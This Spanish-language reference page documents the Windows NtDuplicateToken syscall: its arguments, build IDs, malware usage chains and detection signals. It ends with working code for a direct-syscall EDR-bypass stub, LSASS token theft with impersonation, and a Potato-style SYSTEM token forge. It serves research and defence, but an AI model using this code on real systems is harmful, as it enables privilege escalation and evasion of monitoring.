NtDuplicateToken
Crea un nuevo token de acceso que duplica un token existente, opcionalmente cambiando su tipo y nivel de impersonación.
Prototipo
NTSTATUS NtDuplicateToken( HANDLE ExistingTokenHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, BOOLEAN EffectiveOnly, TOKEN_TYPE TokenType, PHANDLE NewTokenHandle );
Argumentos
| Name | Type | Dir | Description |
|---|---|---|---|
| ExistingTokenHandle | HANDLE | in | Token de origen; debe abrirse con TOKEN_DUPLICATE (0x2). |
| DesiredAccess | ACCESS_MASK | in | Derechos solicitados sobre el nuevo handle (TOKEN_QUERY, TOKEN_IMPERSONATE, TOKEN_ASSIGN_PRIMARY, etc.). |
| ObjectAttributes | POBJECT_ATTRIBUTES | in | Atributos de objeto (SecurityQualityOfService controla SecurityImpersonationLevel — Identification, Impersonation, Delegation). |
| EffectiveOnly | BOOLEAN | in | Si es TRUE, los privilegios/grupos deshabilitados se eliminan del duplicado. Casi siempre FALSE en uso ofensivo. |
| TokenType | TOKEN_TYPE | in | TokenPrimary (1) para CreateProcessAsUser/WithToken, o TokenImpersonation (2) para impersonación de hilo. |
| NewTokenHandle | PHANDLE | out | Recibe el handle al nuevo token creado. |
IDs de syscalls por versión de Windows
| Versión de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0x42 | win10-1507 |
| Win10 1607 | 0x42 | win10-1607 |
| Win10 1703 | 0x42 | win10-1703 |
| Win10 1709 | 0x42 | win10-1709 |
| Win10 1803 | 0x42 | win10-1803 |
| Win10 1809 | 0x42 | win10-1809 |
| Win10 1903 | 0x42 | win10-1903 |
| Win10 1909 | 0x42 | win10-1909 |
| Win10 2004 | 0x42 | win10-2004 |
| Win10 20H2 | 0x42 | win10-20h2 |
| Win10 21H1 | 0x42 | win10-21h1 |
| Win10 21H2 | 0x42 | win10-21h2 |
| Win10 22H2 | 0x42 | win10-22h2 |
| Win11 21H2 | 0x42 | win11-21h2 |
| Win11 22H2 | 0x42 | win11-22h2 |
| Win11 23H2 | 0x42 | win11-23h2 |
| Win11 24H2 | 0x42 | win11-24h2 |
| Server 2016 | 0x42 | winserver-2016 |
| Server 2019 | 0x42 | winserver-2019 |
| Server 2022 | 0x42 | winserver-2022 |
| Server 2025 | 0x42 | winserver-2025 |
Módulo del kernel
APIs relacionadas
Stub del syscall
4C 8B D1 mov r10, rcx B8 42 00 00 00 mov eax, 0x42 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notas no documentadas
NtDuplicateToken es la pieza clave ofensiva de toda cadena de robo de token y Make-Me-Admin. Es lo que envuelven `advapi32!DuplicateToken` y `DuplicateTokenEx`. El SSN ha permanecido **estable en `0x42`** desde Windows 10 1507 hasta Windows 11 24H2. Las palancas ofensivas clave son `TokenType` (primary vs impersonation) y el `SecurityImpersonationLevel` codificado en `ObjectAttributes->SecurityQualityOfService`: sólo `SecurityImpersonation` (nivel 2) y `SecurityDelegation` (nivel 3) permiten al hilo *actuar* como la identidad clonada — `SecurityIdentification` sólo permite *comprobar* pertenencia. Producir un token con capacidad de delegación exige que el token origen sea delegable (TGT Kerberos forwardable en contextos de dominio).
Uso común por malware
El eslabón intermedio de prácticamente toda cadena de impersonación. Patrón A (robo de token): NtOpenProcess(LSASS) -> NtOpenProcessTokenEx(TOKEN_DUPLICATE) -> **NtDuplicateToken(SecurityImpersonation, TokenImpersonation)** -> NtSetInformationThread(ThreadImpersonationToken). Patrón B (CreateProcessWithToken / Make-Me-Admin): -> **NtDuplicateToken(TokenPrimary, SecurityImpersonation)** -> CreateProcessWithTokenW. Patrón C (familia Potato): token de impersonación SYSTEM obtenido vía coerción RPC -> **NtDuplicateToken(TokenPrimary)** -> CreateProcessAsUserW. Usado por `token::elevate` de Mimikatz, `make_token`/`steal_token` de Cobalt Strike, `impersonate`/`runas` de Sliver, Conti, BlackCat, Royal y toda variante Potato (Hot, Juicy, Rogue, Sweet, Print, Roasted).
Oportunidades de detección
Por sí solo, NtDuplicateToken es bastante común, pero las duplicaciones `TokenPrimary` desde un proceso que no sea LSASS o `services.exe` y dirigidas a un token cuyo SID de usuario difiere del SID del llamante son altamente sospechosas. El evento Windows Security **4624 con Logon Type 9** (NewCredentials) se dispara con `CreateProcessWithLogonW` y es un indicador fuerte de impersonación. El evento **4648** (logon con credenciales explícitas) cubre `CreateProcessWithTokenW`. El provider ETW `Microsoft-Windows-Threat-Intelligence` (sólo PPL) emite eventos clase `EtwTiLogDuplicateHandle` para duplicaciones de token en procesos monitorizados. Los EDR hookean casi universalmente `ntdll!NtDuplicateToken`; por eso el bypass por syscall directo es una de las técnicas estándar de evasión EDR documentadas en blogs red-team.
Ejemplos de syscalls directos
asmx64 direct stub (stable SSN 0x42)
NtDuplicateToken PROC
mov r10, rcx
mov eax, 42h ; SSN stable across all builds
syscall
ret
NtDuplicateToken ENDPcFull token-impersonation chain (LSASS -> thread)
// Classic offensive chain: open LSASS token, duplicate as impersonation,
// then impersonate on the current thread. Requires SeDebugPrivilege.
HANDLE hLsass = NULL, hSrc = NULL, hDup = NULL;
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
CLIENT_ID cid = { (HANDLE)(ULONG_PTR)lsassPid, NULL };
SECURITY_QUALITY_OF_SERVICE sqos = {
.Length = sizeof(sqos),
.ImpersonationLevel = SecurityImpersonation, // <-- must be Impersonation or Delegation
.ContextTrackingMode = SECURITY_STATIC_TRACKING,
.EffectiveOnly = FALSE,
};
OBJECT_ATTRIBUTES dupOa = { sizeof(dupOa) };
dupOa.SecurityQualityOfService = &sqos;
NtOpenProcess(&hLsass, PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid);
NtOpenProcessTokenEx(hLsass, TOKEN_DUPLICATE | TOKEN_QUERY, 0, &hSrc);
NtDuplicateToken(hSrc,
TOKEN_QUERY | TOKEN_IMPERSONATE,
&dupOa,
FALSE,
TokenImpersonation, // <-- not Primary
&hDup);
NtSetInformationThread(NtCurrentThread(),
ThreadImpersonationToken,
&hDup, sizeof(HANDLE));rustPotato-style primary-token forge for CreateProcessWithTokenW
// After an RPC coercion has handed us a SYSTEM impersonation token,
// duplicate it as Primary so we can spawn a SYSTEM-context process.
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::Security::{
SECURITY_QUALITY_OF_SERVICE, SecurityImpersonation,
SECURITY_STATIC_TRACKING,
};
use windows_sys::Wdk::Foundation::OBJECT_ATTRIBUTES;
extern "system" {
fn NtDuplicateToken(
existing: HANDLE, desired: u32,
oa: *mut OBJECT_ATTRIBUTES, effective_only: u8,
token_type: u32, new_token: *mut HANDLE) -> i32;
}
const TOKEN_PRIMARY: u32 = 1;
const TOKEN_ASSIGN_PRIMARY: u32 = 0x1;
const TOKEN_DUPLICATE: u32 = 0x2;
const TOKEN_QUERY: u32 = 0x8;
pub unsafe fn forge_primary_system_token(src: HANDLE) -> Option<HANDLE> {
let mut sqos = SECURITY_QUALITY_OF_SERVICE {
Length: std::mem::size_of::<SECURITY_QUALITY_OF_SERVICE>() as u32,
ImpersonationLevel: SecurityImpersonation,
ContextTrackingMode: SECURITY_STATIC_TRACKING as u8,
EffectiveOnly: 0,
};
let mut oa: OBJECT_ATTRIBUTES = std::mem::zeroed();
oa.Length = std::mem::size_of::<OBJECT_ATTRIBUTES>() as u32;
oa.SecurityQualityOfService = &mut sqos as *mut _ as *mut _;
let mut dup: HANDLE = 0;
let s = NtDuplicateToken(
src,
TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY,
&mut oa, 0, TOKEN_PRIMARY, &mut dup);
if s == 0 { Some(dup) } else { None }
}Mapeos MITRE ATT&CK
Last verified: 2026-05-20